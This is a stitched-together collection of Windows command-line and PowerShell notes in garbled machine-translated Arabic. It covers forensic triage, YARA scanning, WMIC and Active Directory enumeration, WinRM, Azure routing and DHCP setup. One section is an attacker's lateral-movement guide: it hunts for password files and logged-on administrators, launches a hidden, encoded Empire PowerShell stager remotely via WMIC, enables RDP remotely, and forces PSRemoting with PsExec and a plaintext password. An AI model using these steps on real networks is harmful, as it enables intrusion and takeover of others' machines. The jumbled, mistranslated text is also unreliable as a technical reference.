وبالنظر إلى حجم المعلومات التي تجمعها، فإنه ليس من المستغرب أن الأمر أوبنفيلز هو خنزير الأداء. وبالتالي، يتم إيقاف المحاسبة المرتبطة أوبنفيلز بشكل افتراضي، وهذا يعني لا يمكن للمستخدمين سحب أي بيانات من هذا الأمر حتى يتم تشغيله. هذه الوظيفة يمكن تفعيلها عن طريق تشغيل:
openfiles /local on
=================
سوف يحتاج المستخدمون إلى إعادة التشغيل، وعندما يعود النظام، فإنها سوف تكون قادرة على تشغيل الأمر أوبنفيلز على النحو التالي:
openfiles /query /v
سيظهر هذا الأمر إخراج مطول، والذي يتضمن حساب المستخدم أن كل عملية مع ملف مفتوح قيد التشغيل. للحصول على فكرة عن البرامج الضارة التي تم تثبيتها أو ما قد يقوم به المهاجم على الجهاز، يجب على المستخدمين البحث عن ملفات غير عادية أو غير متوقعة، خاصة تلك المرتبطة بالمستخدمين المحليين غير المتوقعين على الجهاز.
عند الانتهاء مع الأمر أوبنفيلز، يمكن إيقاف تشغيل وظائف المحاسبة الخاصة به وعاد النظام إلى الأداء العادي عن طريق تشغيل الأمر التالي وإعادة التشغيل:
openfiles /local off
الخيار -n يخبر نيتستات لعرض الأرقام في إنتاجها، وليس أسماء الآلات والبروتوكولات، وبدلا من ذلك يظهر عناوين إب وأرقام المنفذ تكب أو أودب. -A يشير إلى عرض جميع الاتصالات ومنافذ الاستماع. يخبر الخيار -o نيتستات لإظهار رقم بروسيسيد لكل برنامج يتفاعل مع منفذ تكب أو أودب. إذا، بدلا من تكب و أودب، كنت مهتما في إيمب، يمكن تشغيل نيتستات على النحو التالي
netstat –s –p icmp
يشير هذا إلى أن الأمر سيعود إحصائيات (-s) من بروتوكول إيمب. على الرغم من أنه ليس كما هو مفصل مثل تكب و أودب الإخراج، يمكن للمستخدمين معرفة ما إذا كان الجهاز يرسل حركة المرور إيمب متكررة وغير متوقعة على الشبكة. بعض الخلفيات وغيرها من البرامج الضارة التواصل باستخدام حمولة رسائل إيمب صدى، الحزم مألوفة وغير ضارة تبحث بينغ ينظر على معظم الشبكات بشكل دوري.
مثل وميك، الأمر نيتستات يتيح لنا أيضا تشغيل كل N ثانية. ولكن بدلا من استخدام بنية وميك "/ كل: [N]"، المستخدمين ببساطة اتبع استدعاء نيتستات مع مساحة وعدد صحيح. وهكذا، لقائمة منافذ تكب و أودب في استخدام على الجهاز كل 2 ثانية، يمكن للمستخدمين تشغيل:
netstat –na 2
البحث: البحث عن الإخراج عن الاشياء المفيدة
معظم الأوامر التي ناقشتها حتى الآن يقذف الكثير من الإخراج على الشاشة، والتي يمكن أن يكون من الصعب على الإنسان أن ننظر من خلال العثور على عنصر معين من الفائدة. ولكن، يأتي ويندوز للانقاذ. يمكن للمستخدمين البحث من خلال إخراج الأمر باستخدام المدمج في العثور على أوامر فيندستر في ويندوز. يبحث الأمر فيند عن سلاسل بسيطة، في حين يدعم فيندستر التعبيرات العادية، وهي طريقة أكثر تعقيدا لتحديد أنماط البحث. لأن التعبيرات العادية التي تدعمها فيندستر تتجاوز نطاق هذه المقالة غيض، دعونا نركز على أمر البحث. بشكل افتراضي، يكون البحث حساس لحالة الأحرف - استخدم الخيار i / i لجعله غير حساس لحالة الأحرف.
لديه أمر البحث أيضا القدرة على الاعتماد. عند استدعاء الأمر / c، سيحسب عدد أسطر المخرجات التي تتضمن سلسلة معينة. غالبا ما يرغب المستخدمون في حساب عدد الأسطر في إخراج أمر لتحديد عدد العمليات قيد التشغيل، وعدد عناصر بدء التشغيل موجودة، أو مجموعة متنوعة من الحكايات الأخرى المثيرة للاهتمام على الجهاز. لحساب خطوط الإخراج، يمكن للمستخدمين ببساطة أنابيب إنتاجها من خلال البحث / ج / V "". سيحسب هذا الأمر (/ c) عدد الأسطر التي لا تحتوي على (/ v) سطر فارغ ("") فيها. من خلال عد عدد الخطوط غير الفارغة، الأمر هو، في الواقع، عد عدد الأسطر.
الآن، مع أمر البحث، يمكن للمستخدمين ننظر من خلال إخراج كل من الأوامر التي ناقشتها حتى الآن للعثور على الحكايات مثيرة للاهتمام. على سبيل المثال، لإلقاء نظرة على المعلومات في كل ثانية حول عمليات cmd.exe قيد التشغيل على جهاز اكتب:
c: \> وميك قائمة عملية موجزة / كل: 1 | العثور على "cmd.exe"
wmic process list brief /every:1 | find "cmd.exe"
أو، لمعرفة برامج التشغيل التلقائي التي ترتبط مع خلية التسجيل هكلم، تشغيل:
C: \> وميك قائمة بدء التشغيل موجز | العثور على / ط "هكلم"
wmic startup list brief | find /i "hklm"
لحساب عدد الملفات المفتوحة على الجهاز الذي يتم تنشيط أوبينفيلز أكونتينغ، اكتب:
C: \> أوبنفيلز / كيري / v | فيند / c / v ""
openfiles /query /v | find /c /v ""
كلما عد العناصر في هذه الطريقة، تذكر لطرح عدد من خطوط المرتبطة رؤوس الأعمدة. وكمثال أخير، لمعرفة دقة ثانية واحدة عند بدء تشغيل منفذ تكب
2222 يتم استخدامه على الجهاز، جنبا إلى جنب مع معرف العملية باستخدام المنفذ، تشغيل:
netstat –nao 1 | find "2222"
_________________________________________
bahtr 3al mlaf
Get-ChildItem -Recurse -filter *.* \\1.2.3.4\c$\ 2> $null |
ForEach-Object { Write-Host -foregroundcolor „green“ „Scanning“$_.FullName $_.Name; ./yara64.exe -d filename=$_.Name ioc.yar $_.FullName 2> $null }
Get-ChildItem -Recurse -filter *.* \\1.2.3.5\c$\ 2> $null |
ForEach-Object { Write-Host -foregroundcolor „green“ „Scanning“$_.FullName $_.Name; ./yara64.exe -d filename=$_.Name ioc.yar $_.FullName 2> $null }
____________________________________
يمكنك نسخ هذا المجلد إلى النظام المستهدف، وأخذه معك على محرك أقراص أوسب أو توفير مشاركة الشبكة مع محتوياته.
Get-ChildItem -Recurse -filter *.exe C:\Windows 2> $null |
ForEach-Object { Write-Host -foregroundcolor "green" "Scanning"$_.FullName $_.Name; ./yara32.exe -d filename=$_.Name inverse-matching.yar $_.FullName 2> $null }
__________________________________________
هناك العديد من فئات ومي التي يمكن أن توفر طن من المعلومات وتساعد إلى حد كبير اختبار في أن تصبح أكثر دراية البيئة المستهدفة. في ما يلي قائمة ببعض الاستعلامات المفيدة.
Host Enumeration:
--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)
wmic computersystem LIST full
--- Anti-Virus ---
wmic /namespace:\\root\securitycenter2 path antivirusproduct
--- Peripherals ---
wmic path Win32_PnPdevice
--- Installed Updates ---
wmic gfe list brief
--- Directory Listing and File Search ---
wmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
--- Local User Accounts ---
wmic USERACCOUNT Get Domain,Name,Sid
Domain Enumeration:
--- Domain and DC Info ---
wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
--- Domain User Info ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='testAccount'" GET
--- List All Users ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
--- List All Groups ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
--- Members of A Group ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value
--- List All Computers ---
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
OR
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname
Misc:
--- Execute Remote Command ---
wmic process call create "cmd.exe /c calc.exe"
--- Enable Remote Desktop ---
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
OR
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
___________________________
في ما يلي قائمة بالأسماء المستعارة المفيدة لتعداد معلومات عن النظام والعملية والنطاق والمستخدمين والمجموعات:
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
___________________
جميع الأسماء المذكورة أعلاه يمكن استخدامها عن بعد. يمكنك أيضا التفاعل مع الطبقات مباشرة مع الخيار 'المسار'. على سبيل المثال، إليك طريقة خفية جدا لاكتشاف المشرفين المحليين على جهاز بعيد (لاحظ أن هذا النطاق هو اسم الكمبيوتر)
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
ملاحظة: ركضت وميك من موجه الأوامر كما جاريتا، وبالتالي لم أكن بحاجة إلى تحديد / المستخدم
ومن المفيد أنيلينر آخر هو معرفة من الذي تم تسجيل الدخول إلى جهاز (عندما كنت تصيد المشرفين):
wmic /node:ordws01 path win32_loggedonuser get antecedent
وميك حتى قراءة العقد من ملف نصي وتنفيذ الأمر على كل منهم. إذا كان لديك ملف نصي لمحطات العمل:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
لأمر بإرجاع بروسيسيد و ريتورنفالو (0 يعني أي أخطاء)
من خلال تحديد / عقدة فإنه من السهل للغاية لإنشاء العمليات عن بعد وتنفيذ الأوامر. في آخر مشاركة أثبتت إطلاق ميتربريتر من أمر إنشاء سك مع وحدة web_delivery ميتاسبلويت ل. للتبديل عنه، دعونا إطلاق عامل إمبراطورية بويرشيل هذه المرة. أولا، إنشاء سلسلة الأوامر لتنفيذ باستخدام "قاذفة" ستاجر في الإمبراطورية:
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAEUAVwAtAE8AQgBKAGUAQw...truncated...
والآن من ويندوز، سنقوم عن بعد بإنشاء عملية على ومي لتنفيذ هذه السلسلة:
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
إذا كان أحد هذه المنافذ مفتوحا، يتم تكوين وينرم ويمكنك محاولة إدخال جلسة عمل عن بعد.
بدء جلسة وينرم.
لدينا أولا لتكوين آلة هجوم لدينا للعمل مع وينرم كذلك. نحن بحاجة إلى تمكينه وإضافة أي "الضحايا" كمضيفين موثوق بهم. من موجه بويرشيل مرتفع، قم بتشغيل الأمرين التاليين
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
يؤدي ذلك إلى إضافة حرف بدل إلى إعداد تروستيدوستس. كن حذرا مما يستتبعه. ملاحظة: كان لي أيضا لتغيير نوع الشبكة على جهاز الهجوم من "العامة" إلى "العمل" الشبكة. YMMV
بمجرد تكوين آلة الهجوم، استخدم الدالة تيست-وسمان لاختبار ما إذا تم تكوين الهدف ل وينرم. يجب أن ترى بعض المعلومات التي تم إرجاعها حول إصدار البروتوكول و وسميد:
الآن يمكننا استخدام بويرشيل استدعاء الأوامر لتنفيذ أمر عن بعد على الهدف عبر وينرم. لتشغيل إيبكونفيغ عن بعد ومعرفة الإخراج
Invoke-Command -Computer ordws01 -ScriptBlock {ipconfig /all} -credential CSCOU\jarrieta
أو، إذا كنت تريد إسقاط الحق في جلسة بويرشيل تفاعلية، استخدم
Enter-PSSession
جبار وينرم مفتوح. إذا كنت تريد حقا استخدام بس ريموتينغ و وينرم ولكن لم يتم تكوين الهدف لذلك، هل يمكن "فرض" على من خلال أمر واحد. أنا لا أنصح هذا ولكن إذا كنت تريد حقا لاستخدام وينرم أو بسريموتينغ من كل الوسائل تفعل ذلك بهذه الطريقة. على سبيل المثال، باستخدام بسيكسيك
\tools\SysinternalsSuite> .\PsExec.exe \\ordws04 -u cscou\jarrieta -p nastyCutt3r -h -d powershell.exe "enable-psre
moting -force"
_____________________________________
يمكنك استبدال متغير ستربكومب $ مع أي اسم المضيف الذي يمكن الوصول إليه من قبل الجهاز بتشغيل بويرشيل، مما يجعل من السهل للحصول على قائمة من عناوين ماك من جميع أنحاء الشبكة.
يمكنك أيضا معرفة عناوين إب النشطة على شبكتك، وذلك باستخدام كمدليت بينغ بسيط يدور عبر جميع عناوين إب الممكنة على الشبكة الفرعية المحلية. سيؤدي هذا إلى عرض جدول مع عناوين إب ورموز الحالة، 0 يشير إلى أن العنوان قيد الاستخدام.
1..254| ForEach -Process {WmiObject -Class Win32_PingStatus -Filter ("Address='192.168.16." + $_ + "'") -ComputerName .} | Select-Object -Property Address, StatusCode | ft
__________________________________
إدارة الشبكة الخاصة بك مع بويرشيل
بويرشيل هو بارز أكثر مرونة في إدارة اتصالات الشبكة من الأدوات المقدمة لسطر الأوامر ويندوز. على سبيل المثال، يمكنك بسهولة استرداد عنوان ماك من جميع محولات الشبكة على الجهاز الحالي الخاص بك مع البرنامج النصي التالي
$strComputer = "."
$colItems = get-wmiobject -class "Win32_NetworkAdapterConfiguration" `
-computername $strComputer | Where{$_.IpEnabled -Match "True"}
foreach ($objItem in $colItems) {
write-host "Hardware Address:" $objItem.MACAddress
}
_______________________________________________________
السيطرة على أكتيف ديركتوري في بويرشيل
بويرشيل يمكن أن تتفاعل مباشرة مع
أكتيف ديركتوري، والقراءة في قاعدة البيانات الخاصة به، واستخراج المعلومات وعرضها لك. على سبيل المثال، مع كمدليت التالية، يمكنك عرض كافة المستخدمين في "أكتيف ديركتوري":
$Dom = 'LDAP://DC=scribnertechmediacorp;DC=local'
$Root = New-Object DirectoryServices.DirectoryEntry $Dom
$i=0
# Create a selector and start searching from the Root of AD
$selector = New-Object DirectoryServices.DirectorySearcher
$selector.SearchRoot = $root
$selector.set_pagesize(1000)
$adobj= $selector.findall() |`
where {$_.properties.objectcategory -match "CN=Person"}
foreach ($person in $adobj){
$prop=$person.properties
$i++
Write-host "First name: $($prop.givenname) " `
"Last Name: $($prop.sn) Display Name: $($prop.cn)"
}
"Total AD Users Found: $i"
في هذا المثال، شبكة مولتيتير-فنيت الظاهرية لديها ثلاث شبكات فرعية: الشبكات الفرعية الأمامية و المتوسطة و الخلفية التي تحتوي على أربع اتصالات عبر وحدة: ديفولتسيتهق وثلاثة فروع .
تحدد هذه الخطوات "ديفولتسيتهق" إلى اتصال الويب الافتراضي الذي يجبر معالجة القناة وتعيين الشبكات الفرعية "الوسطى" و "الخلفية" لاستخدام إجبار معالجة القناة.
إنشاء جدول توجيه. استخدم كمدليتس التالية لإنشاء جدول التوجيه.
New-AzureRouteTable –Name "MyRouteTable" –Label "Routing Table for Forced Tunneling" –Location "North Europe"
______________________________________________________
إضافة مسار مسبق إلى جدول التوجيه.
يضيف المثال التالي مسار مسبق الضبط إلى جدول التوجيه المحدد في الخطوة 1. لاحظ أن المسار الوحيد المدعم هو ديباجة وجهة "0.0.0.0/0" من "فنغاتيواي" نيكستوب.
Get-AzureRouteTable -Name "MyRouteTable" | Set-AzureRoute –RouteTable "MyRouteTable" –RouteName "DefaultRoute" –AddressPrefix "0.0.0.0/0" –NextHopType VPNGateway
__________________________________________________________
ربط جداول التوجيه للشبكات الفرعية.
بعد إنشاء جدول التوجيه والانضمام إلى المسار، استخدم المثال التالي للانضمام أو ربط جدول التوجيه إلى الشبكة الفرعية فنيت. يضيف هذا المثال جدول التوجيه "ميروتيتابل" إلى الشبكات الفرعية المتوسطة والخلفية في فنيت متعدد المستويات فنيت.
Set-AzureSubnetRouteTable -VirtualNetworkName "MultiTier-VNet" -SubnetName "Midtier" -RouteTableName "MyRouteTable"
Set-AzureSubnetRouteTable -VirtualNetworkName "MultiTier-VNet" -SubnetName "Backend" -RouteTableName "MyRouteTable"
______________________________________________________________
تعيين محطات محددة مسبقا للقنوات الإلزامية.
في الخطوات السابقة، إنشاء البرنامج النصي كمدليت جدول التوجيه وربط جدول التوجيه إلى كل من شبكات فرعية فنيت. والخطوات المتبقية هي اختيار موقع الويب المحلي بين اتصالات الشبكة المتعددة المواقع الافتراضية كموقع ويب افتراضي أو قناة
$DefaultSite = @("DefaultSiteHQ")
Set-AzureVNetGatewayDefaultSite –VNetName "MultiTier-VNet" –DefaultSite "DefaultSiteHQ"
________________________________________________________________
احذف جدول التوجيه
Remove-AzureRouteTable -Name <routeTableName>
_____________________________________________________________
أدرج جدول التوجيه
Get-AzureRouteTable [-Name <routeTableName> [-DetailLevel <detailLevel>]]
____________________________________________________________
أزل المسارات من جدول التوجيه
Remove-AzureRouteTable –Name <routeTableName>
_________________________________________________________
قم بإزالة المسار من الشبكة الفرعية
Remove-AzureSubnetRouteTable –VirtualNetworkName <virtualNetworkName> -SubnetName <subnetName>
____________________________________________________________
يسرد جداول التوجيه المرتبطة بالشبكات الفرعية
Get-AzureSubnetRouteTable -VirtualNetworkName <virtualNetworkName> -SubnetName <subnetName>
____________________________________________________________
قم بإزالة موقع ويب الافتراضي من بوابة فنيت في
Remove-AzureVnetGatewayDefaultSite -VNetName <virtualNetworkName>
_______________________________________________________________
POWERSELL
يمكنك تحميل لدينا النصي تصحيحها على جيثب جيتست.
يتم التقاط الصورة من القمر الصناعي الطقس الياباني هيماواري 8، والتي يتم تحديثها مرة واحدة في 10 دقيقة. البرنامج النصي بتحميله في أجزاء لأنه على الخادم ينقسم لقطة إلى مصفوفة من 4 بنسبة 4. ثم يندمج في واحد ويحددها كخلفية سطح المكتب.
لتشغيل البرنامج النصي، انقر بزر الماوس الأيمن فوق الملف، ثم تشغيل مع بويرشيل. إذا كنت ترغب في تحديث الصورة بشكل دائم، وضع البرنامج النصي في جدولة المهام ويندوز، تعيين التنفيذ مرة واحدة كل 10 دقيقة.
المشاكل والحلول الممكنة
إذا كنت تجلس خلف وكيل الشركة، ثم بعد السطر
$request = [System.Net.WebRequest]::create($thisurl)
$request.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
________________________________________________________________
ANSTALE DAKP
New-NetIPAddress -IPAddress 10.0.0.3 -InterfaceAlias "Ethernet" -DefaultGateway 10.0.0.1 -AddressFamily IPv4 -PrefixLength 24
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 10.0.0.2
Rename-Computer -Name DHCP1
Restart-Computer
Add-Computer CORP
Restart-Computer
Install-WindowsFeature DHCP -IncludeManagementTools
netsh dhcp add securitygroups
Restart-service dhcpserver
Add-DhcpServerInDC -DnsName DHCP1.corp.contoso.com -IPAddress 10.0.0.3
Get-DhcpServerInDC
Set-ItemProperty –Path registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\Roles\12 –Name ConfigurationState –Value 2
Set-DhcpServerv4DnsSetting -ComputerName "DHCP1.corp.contoso.com" -DynamicUpdates "Always" -DeleteDnsRRonLeaseExpiry $True
$Credential = Get-Credential
Set-DhcpServerDnsCredential -Credential $Credential -ComputerName "DHCP1.corp.contoso.com"
rem At prompt, supply credential in form DOMAIN\user, password
rem Configure scope Corpnet
Add-DhcpServerv4Scope -name "Corpnet" -StartRange 10.0.0.1 -EndRange 10.0.0.254 -SubnetMask 255.255.255.0 -State Active
Add-DhcpServerv4ExclusionRange -ScopeID 10.0.0.0 -StartRange 10.0.0.1 -EndRange 10.0.0.15
Set-DhcpServerv4OptionValue -OptionID 3 -Value 10.0.0.1 -ScopeID 10.0.0.0 -ComputerName DHCP1.corp.contoso.com
Set-DhcpServerv4OptionValue -DnsDomain corp.contoso.com -DnsServer 10.0.0.2
rem Configure scope Corpnet2
Add-DhcpServerv4Scope -name "Corpnet2" -StartRange 10.0.1.1 -EndRange 10.0.1.254 -SubnetMask 255.255.255.0 -State Active
Add-DhcpServerv4ExclusionRange -ScopeID 10.0.1.0 -StartRange 10.0.1.1 -EndRange 10.0.1.15
Set-DhcpServerv4OptionValue -OptionID 3 -Value 10.0.1.1 -ScopeID 10.0.1.0 -ComputerName DHCP1.corp.contoso.com
الحصول على معلومات الكمبيوتر ، آخر مرة تمهيد ، العمارة os وغيرها من البرنامج النصي PowerShell
Get-WmiObject -class Win32_OperatingSystem -ComputerName localhost | Select-Object -Property CSName, LastBootUpTime, OSType, OSArchitecture, NumberOfUsers
Get-WmiObject win32_LoggedOnUser -ComputerName localhost | select antecedent -Unique
فضل طريقة لاختبار * هذه الأنواع من الأشياء هي لاستخدا
Get-Process * | Stop-Process -WhatIf
set-executionpolicy remotesigned
Get-Process | Out-Gridview
tasklist
taskkill /PID 1532 /F
للحصول على قائمة بالبرامج المثبتة:
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize
الحصول على الرقم التسلسلي بيسي
wmic /node:”HOST” bios get serialnumber
الحصول على عنوان ماك:
wmic nic get macaddress
netsh dhcp add securitygroups
يقوم الأمر التالي بإعادة تشغيل خدمة دكب على الكمبيوتر المحلي.
Restart-service dhcpserver
Set-ADUser <SAMAccountName> -Country US
Get-WinEvent -ListProvider *
الحصول على كافة موفري سجل الأحداث التي تكتب إلى سجل معين
(Get-WinEvent -ListLog Application).ProviderNames
لحصول على معرفات الأحداث التي ينشئها موفر الحدث
(Get-WinEvent -ListProvider Microsoft-Windows-GroupPolicy).Events | Format-Table ID, Description -AutoSize
$Events | Group-Object -Property LevelDisplayName -NoElement
Test-WSMan
Test-WSMan -ComputerName "server01"
Test-WSMan -Authentication default
Test-WSMan -ComputerName "server01" -Authentication default
Invoke-WSManAction -Action "StartService" -ResourceURI wmicimv2/win32_service -SelectorSet @{name="spooler"} -Authentication default
Invoke-WSManAction -Action "Create" -ResourceURI wmicimv2/win32_process -ValueSet @{commandline="notepad.exe";currentdirectory="C:\"}
Enable-PSRemoting
Enable-PSRemoting -Force
الموضحة في موضوع التعليمات
Set-ExecutionPolicy RemoteSigned
__________________
أحاول كتابة أمر نسخ احتياطي لنسخ الملفات من حاسوبي المحلي إلى أي من خوادم النشر الخاصة بي
ROBOCOPY ../../MyService/bin/release/ \\remote-computer\\C:\services\myservice /MIR
يحدد المكان الذي تريد نسخ الملفات إليه.
robocopy.exe "\TOKEN\Deploy\Student Tests" "%PUBLIC%\Desktop\Tests" /MIR
_____________
python
setup.py py2exe
________________________________
الاتصال بجهاز كمبيوتر بعيد
Connect-WSMan -ComputerName "server01"
الاتصال بجهاز كمبيوتر بعيد باستخدام بيانات اعتماد المسؤول
$cred = Get-Credential Administrator
Connect-WSMan -ComputerName "server01" -Credential $cred
cd wsman:
الاتصال بجهاز كمبيوتر بعيد عبر منفذ محدد
Connect-WSMan -ComputerName "server01" -Port 80
cd wsman:
يؤدي هذا الأمر إلى إنشاء اتصال إلى الكمبيوتر server01 البعيد عبر المنفذ 80.
$a = New-WSManSessionOption -OperationTimeout 30000
Connect-WSMan -ComputerName "server01" -SessionOption $a
قطع اتصال العميل من خدمة وينرم على كمبيوتر بعيد
Disconnect-WSMan -computer server01
الحصول على مراجع نقطة النهاية لجميع الخدمات
Get-WSManInstance -Enumerate -ResourceURI wmicimv2/win32_service -ReturnType EPR
لحصول على تكوين المستمع الذي يطابق المعايير على الكمبيوتر المحلي
Get-WSManInstance -ResourceURI winrm/config/listener -SelectorSet @{Address="*";Transport="http"
الحصول على تكوين مستمع يطابق المعايير على كمبيوتر بعيد
Get-WSManInstance -ResourceURI winrm/config/listener -SelectorSet @{Address="*";Transport="http"} -ComputerName "Server01
يسرد هذا الأمر تكوين مستمع وس-ماناجيمنت على كمبيوتر server00 البعيد للمستمع الذي يطابق المعايير في مجموعة محدد.
مثال 7: الحصول على مثيلات المرتبطة المتعلقة مثيل المحدد
Get-WSManInstance -Enumerate -Dialect Association -Filter "{Object=win32_service?name=winrm}" -ResourceURI wmicimv2/*
لحصول على مثيلات الارتباط المتعلقة بمثيل محدد
Get-WSManInstance -Enumerate -Dialect Association -Associations -Filter "{Object=win32_service?name=winrm}" -ResourceURI wmicimv2/*
يعرض هذا الأمر مساعدة مفصلة ل كمدليت جيت-تشيلديتم عن طريق تحديد أحد الأسماء المستعارة لها، لس. تحصل المعلمة
Get-Help Format-Table -Full
لمعلمة فول فعالة فقط عند تثبيت ملفات التعليمات للأمر على الكمبيوتر.
Get-Help Start-Service -Examples
عرض هذا الأمر أمثلة على استخدام كمدليت بدء الخدمة. يستخدم المعلمة أمثلة من جيت-هيلب لعرض قسم الأمثلة فقط من مواضيع تعليمات كمدليت.
تكون معلمة الأمثلة فعالة فقط عند تثبيت ملفات التعليمات للأمر على الكمبيوتر.
Get-Help Format-List -Parameter GroupBy
يمكنك أيضا الحصول على مساعدة خاصة بموفر الخدمة ل كمدليتس عبر الإنترنت في القسم الذي يصف مقدم الخدمة. على سبيل المثال، للحصول على مساعدة خاصة بموفر الخدمة على الإنترنت ل كمدليت عنصر جديد في كل مسار موفر وسان، راجع عنصر جديد ل كلينتسرتيفيكات
Get-Help C:\PS-Test\MyScript.ps1
يعرض هذا الأمر إصدار عبر إنترنت من موضوع التعليمات للحصول على كمدليت الحصول على عضو.
Get-Help remoting
يوضح هذا المثال كيفية البحث عن كلمة معينة في موضوع مساعدة كمدليت. يبحث هذا الأمر عن كلمة كليكسمل في النسخة الكاملة من موضوع التعليمات ل كمدليت إضافة عضو.
لأن كمدليت الحصول على تعليمات بإنشاء كائن ماملكوماندلبينفو، وليس سلسلة، لديك لاستخدام كمدليت الذي يحول محتوى موضوع المساعدة إلى سلسلة مثل أوت-سترينغ أو أوت-فيل.
Get-Help Get-Member -Online
يستخدم هذا الأمر المعلمة معلمة من الحصول على تعليمات لعرض وصف تفصيلي للمعلمة غروبي من كمدليت تنسيق قائمة. للحصول على وصف تفصيلي لجميع المعلمات من كمدليت تنسيق قائمة، اكتب الحصول على تعليمات تنسيق قائمة -Parameter
Get-Help Add-Member -Full | Out-String -Stream | Select-String -Pattern Clixml
تسجيل تكوين جلسة نيوشيل
Register-PSSessionConfiguration -Name NewShell -ApplicationBase c:\MyShells\ -AssemblyName MyShell.dll -ConfigurationTypeName MyClass
تسجيل تكوين جلسة عمل مينتنانسشيل
Register-PSSessionConfiguration -Name MaintenanceShell -StartupScript C:\ps-test\Maintenance.ps1
تسجيل تكوين جلسة عمل أدمينشيل
$sddl = "O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;FA;SA;GWGX;;WD)"
Register-PSSessionConfiguration -Name AdminShell -SecurityDescriptorSDDL $sddl -MaximumReceivedObjectSizeMB 20 -StartupScript C:\scripts\AdminShell.ps1
dir WSMan:\LocalHost\Plugin ========
حذف تكوين جلسة عمل وإعادة تشغيل خدمة وينرم
Unregister-PSSessionConfiguration -Name MaintenanceShell -Force
حذف جميع تكوينات الجلسة
Unregister-PSSessionConfiguration -Name *
Get-PSSessionConfiguration -Name * | Unregister-PSSessionConfiguration
إلغاء التسجيل بدون إعادة تشغيل
Restart-Service winrm
New-PSSession -ConfigurationName MaintenanceShell
الحصول على تكوينات جلسة عمل للحساب المحلي
Get-PSSessionConfiguration
الحصول على تكوينات الجلسة الافتراضية
Get-PSSessionConfiguration -Name Microsoft*
خصائص عرض تكوين جلسة عمل تم إنشاؤها من ملف
Get-PSSessionConfiguration -Name Full | Format-List -Property *
تشغيل هذا كمدليت على كمبيوتر بعيد
Enable-WSManCredSSP -Delegate Server02
Connect-WSMan Server02
Invoke-Command -ScriptBlock {Get-PSSessionConfiguration} -ComputerName Server02 -Authentication CredSSP -Credential Domain01\Admin01
الحصول على معرف الموارد المنتظم (أوري) للمورد لتكوين الجلسة
(Get-PSSessionConfiguration -Name CustomShell).resourceURI
إعادة تمكين الجلسة الافتراضية
Enable-PSSessionConfiguration
Enable-PSSessionConfiguration -Name MaintenanceShell, AdminShell
إعادة تمكين جميع الجلسات
Enable-PSSessionConfiguration -Name *
Get-PSSessionConfiguration | Enable-PSSessionConfiguration
إعادة تمكين جلسة عمل وتحديد واصف أمان جديد
Enable-PSSessionConfiguration -Name MaintenanceShell -SecurityDescriptorSDDL "O:NSG:BAD:P(A;;GXGWGR;;;BA)(A;;GAGR;;;S-1-5-21-123456789-188441444-3100496)S:P"
تعطيل تكوينات الجلسة على الكمبيوتر المحلي
Disable-PSSessionConfiguration
تعطيل كافة تكوينات جلسة العمل المسجلة
Disable-PSSessionConfiguration -Name *
يؤدي هذا الأمر إلى تعطيل كافة تكوينات جلسة العمل المسجلة على الكمبيوتر.
مثال 3: تعطيل تكوينات الجلسة حسب الاسم
Disable-PSSessionConfiguration -Name Microsoft* -Force
تعطيل تكوينات الجلسة باستخدام بيبيلي
Get-PSSessionConfiguration -Name MaintenanceShell, AdminShell | Disable-PSSessionConfiguration
تكوين جهاز كمبيوتر لتلقي الأوامر عن بعد
Enable-PSRemoting
تكوين جهاز كمبيوتر لتلقي الأوامر عن بعد بدون موجه
Enable-PSRemoting -Force
السماح بالوصول عن بعد على العملاء
Enable-PSRemoting -SkipNetworkProfileCheck -Force
Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP-PUBLIC" -RemoteAddress Any
تشغيل برنامج نصي على خادم
Invoke-Command -FilePath c:\scripts\test.ps1 -ComputerName Server01
يستخدم الأمر معلمة فيليباث لتحديد البرنامج النصي الموجود على الكمبيوتر المحلي. يتم تشغيل البرنامج النصي على الكمبيوتر البعيد ويتم إرجاع النتائج إلى الكمبيوتر المحلي.
Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}
استجابة لذلك، يعرض ويندوز بويرشيل مربع حوار يطلب كلمة المرور وطريقة مصادقة لحساب User01. ثم يقوم بتشغيل الأمر على جهاز الكمبيوتر Server01 وإرجاع النتيجة.
$s = New-PSSession -ComputerName Server02 -Credential Domain01\User01
Invoke-Command -Session $s -ScriptBlock {Get-Culture}
استخدام جلسة لتشغيل سلسلة من الأوامر التي تشارك البيانات
Invoke-Command -ComputerName Server02 -ScriptBlock {$p = Get-Process PowerShell}
Invoke-Command -ComputerName Server02 -ScriptBlock {$p.VirtualMemorySize}
$s = New-PSSession -ComputerName Server02
Invoke-Command -Session $s -ScriptBlock {$p = Get-Process PowerShell}
